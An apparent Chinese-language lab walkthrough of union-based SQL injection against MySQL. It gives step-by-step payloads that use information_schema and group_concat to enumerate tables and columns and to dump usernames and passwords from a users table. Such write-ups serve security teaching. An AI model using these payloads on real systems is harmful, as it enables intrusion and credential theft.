MYSQL中默认有个information schema数据库,用来存储数据库元信息。其中具有表schemata(数据库名)、tables(表名)、 columns(列名或字段名)。
schemata:schema_ name字段用来存储数据库名。
tables:table_ schema和table_ name分别用来存储数据库名和表名。
columns:table_schema(数据库名)、table_name(表名)、column_name(字段名)
1、发现SQL注入
根据报错信息'1'' LIMIT 0,1
分析SQL查询语句为select … from …where id=‘input’
2、利用order by判断当前表的字段数
操作:提交id=1’ order by n --+参数,直到出现下列报错信息,则说明当前表的列数为n-1
3、利用语句0' union select 1,2,3 --+
发现哪一列数值可以在页面回显
4、利用0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
将当前数据库的表都打印出来
其中group_concat(table_name separator ';')
将表名一行打印出来,分号隔开
5、接下来挖取users表的信息,利用0' union select 1,group_concat(column_name separator ';'),3 from information_schema.columns where table_name='users' --+
联合查询users表中的所有字段名,分号隔开
6、查询users表中的用户名和密码
0' union select 1,group_concat(username,0x3a,password),3 from users --+
用户名:密码